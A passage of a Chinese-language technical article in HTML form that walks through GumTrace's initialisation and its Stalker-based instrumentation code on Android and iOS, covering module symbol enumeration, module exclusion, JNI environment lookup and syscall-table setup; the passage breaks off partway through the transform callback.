leaf="">：Stalker引擎内部的代码缓存扩展比率。默认值较保守，这里设为2以减少重新分配。</span></p></li></ul><p data-line="339" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在Stable模式下，这两个参数有不同的取值：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="341" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (instance-&gt;options.mode == GUM_OPTIONS_MODE_STABLE) {</span><br/><span leaf="">    gum_process_enumerate_ranges(GUM_PAGE_RW, on_range_found, nullptr);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... 排序ranges ...</span></span><br/><span leaf="">    gum_stalker_set_trust_threshold(instance-&gt;_stalker, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span><br/><span leaf="">    gum_stalker_set_ratio(instance-&gt;_stalker, </span><span style="color: rgb(0, 128, 0);"><span leaf="">5</span></span><span leaf="">);</span><br/><span leaf="">}</span></code></pre><p data-line="350" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Stable模式提高trust阈值意味着Stalker可以缓存已编译的代码块，减少重复编译的开销。同时枚举所有可读写内存范围，后续在读取字符串和hexdump时进行安全检查，避免访问无效地址导致崩溃。</span></p><h3 data-line="352" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.2 目标模块加载</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="354" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> module_names_vector = Utils::str_split(module_names, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;,&#39;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> &amp;module_name: module_names_vector) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> *gum_module = gum_process_find_module_by_name(module_name.c_str());</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">    gum_module_enumerate_symbols(gum_module, module_symbols_cb, nullptr);</span><br/><span leaf="">    gum_module_enumerate_dependencies(gum_module, module_dependency_cb, nullptr);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 记录模块基址和大小</span></span><br/><span leaf="">    module_map[</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;base&#34;</span></span><span leaf="">] = gum_module_range-&gt;base_address;</span><br/><span leaf="">    module_map[</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;size&#34;</span></span><span leaf="">] = gum_module_range-&gt;size;</span><br/><span leaf="">}</span></code></pre><p data-line="367" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对每个指定模块，GumTrace做三件事：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">枚举符号</span></strong><p><span leaf="">：遍历模块的符号表，建立</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">地址→函数名</span></code><span leaf="">的映射（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">func_maps</span></code><span leaf="">）。这是后续函数调用识别的基础。</span></p></li><li style=""><strong><span leaf="">枚举依赖</span></strong><p><span leaf="">：递归枚举模块的依赖库符号。这样，当目标模块调用libc的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf="">时，也能正确匹配到符号名。</span></p></li><li style=""><strong><span leaf="">记录范围</span></strong><p><span leaf="">：存储模块的基址和大小，用于快速判断某个PC地址是否属于目标模块。</span></p></li></ol><h3 data-line="372" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.3 模块排除策略</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="374" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">gum_process_enumerate_modules(module_enumerate, nullptr);</span></code></pre><p data-line="378" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在Android上，GumTrace遍历进程的所有模块，将</span><strong><span leaf="">不需要追踪的模块</span></strong><span leaf="">主动排除出Stalker的范围：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="380" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strncmp</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/system/&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> ||</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strncmp</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/apex/&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> ||</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strncmp</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/vendor/&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> ||</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;libGumTrace.so&#34;</span></span><span leaf="">) != nullptr ||</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.odex&#34;</span></span><span leaf="">) != nullptr ||</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strstr</span></span><span leaf="">(module_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;memfd&#34;</span></span><span leaf="">) != nullptr) {</span><br/><span leaf="">    gum_stalker_exclude(instance-&gt;_stalker, gum_module_range);</span><br/><span leaf="">}</span></code></pre><p data-line="391" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">被排除的模块执行时不会经过Stalker的JIT引擎，直接以原生速度运行。这是GumTrace高性能的关键之一——只对目标模块插桩，系统库全部放行。</span></p><p data-line="393" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在iOS上采用更简洁的相反策略：只对指定模块</span><strong><span leaf="">不</span></strong><span leaf="">排除，其余全部排除。</span></p><h3 data-line="395" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.4 JNI环境获取（Android）</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="397" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> libart_module = gum_process_find_module_by_name(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;libart.so&#34;</span></span><span leaf="">);</span><br/><span leaf="">GumAddress JNI_GetCreatedJavaVMs_addr =</span><br/><span leaf="">    gum_module_find_symbol_by_name(libart_module, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;JNI_GetCreatedJavaVMs&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... 多重查找策略 ...</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> *jni_get_created_vms =</span><br/><span leaf="">    reinterpret_cast&lt;JNI_GetCreatedJavaVMs_t&gt;(JNI_GetCreatedJavaVMs_addr);</span><br/><span leaf="">jint result = jni_get_created_vms(vms, vm_count, &amp;vm_count);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (result == JNI_OK &amp;&amp; vm_count &gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><br/><span leaf="">    instance-&gt;java_vm = vms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">];</span><br/><span leaf="">}</span></code></pre><p data-line="411" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">为了支持JNI函数追踪，GumTrace在初始化时从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">libart.so</span></code><span leaf="">获取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">JNI_GetCreatedJavaVMs</span></code><span leaf="">的地址。查找策略有三层回退：先查符号表，再查导出表，最后查全局导出。获取JavaVM后，后续可以通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GetEnv</span></code><span leaf="">获得JNIEnv指针，进而解析JNI字符串、类名等对象。</span></p><h3 data-line="413" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.5 系统调用表初始化</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="415" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf="">&amp; svc_name : svc_names) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> svc_name_vector = Utils::str_split(svc_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39; &#39;</span></span><span leaf="">);</span><br/><span leaf="">    instance-&gt;svc_func_maps[</span><span style="color: rgb(0, 122, 204);"><span leaf="">std</span></span><span leaf="">::stoi(svc_name_vector.at(</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">))] = svc_name_vector.at(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">}</span></code></pre><p data-line="422" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace内置了完整的Linux aarch64系统调用表（定义在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Utils.cpp</span></code><span leaf="">中），在初始化时将</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">系统调用号→函数名</span></code><span leaf="">的映射加载到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">svc_func_maps</span></code><span leaf="">中。当追踪到SVC指令时，通过x8寄存器的值查表即可获得系统调用名。</span></p><h2 data-line="424" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6 Stalker插桩引擎</span></h2><p data-line="426" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">插桩引擎是GumTrace的心脏，它决定了&#34;在哪里插桩&#34;和&#34;插桩时做什么&#34;。</span></p><h3 data-line="428" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.1 Transform回调</span></h3><p data-line="430" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当Stalker需要编译一个新的代码块时，会调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">transform_callback</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="432" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">GumTrace::transform_callback</span></span><span style="color: inherit;"><span leaf="">(GumStalkerIterator *iterator,</span><br/><span leaf="">                                   GumStalkerOutput *output,</span><br/><span leaf="">                                   gpointer user_data)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> self = </span><span style="color: rgb(0, 122, 204);"><span leaf="">get_instance</span></span><span leaf="">();</span><br/><span leaf="">    cs_insn *p_insn;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> *it = iterator;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">while</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">gum_stalker_iterator_next</span></span><span leaf="">(it, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> cs_insn **) &amp;p_insn)) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> std::string *module_name_ptr = self-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">in_range_module</span></span><span leaf="">(p_insn-&gt;address);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (module_name_ptr == </span><span style="color: rgb(163, 21, 21);"><span leaf="">nullptr</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">gum_stalker_iterator_keep</span></span><span leaf="">(it);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">is_lse</span></span><span leaf="">(p_insn) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> callback_ctx = self-&gt;callback_context_instance-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">pull</span></span><span leaf="">(</span><br/><span leaf="">                p_insn, </span><span style="color: rgb(0, 122, 204);"><span leaf="">gum_stalker_iterator_get_capstone</span></span><span leaf="">(it),</span><br/><span leaf="">                module_name_ptr-&gt;</span><span style="color: 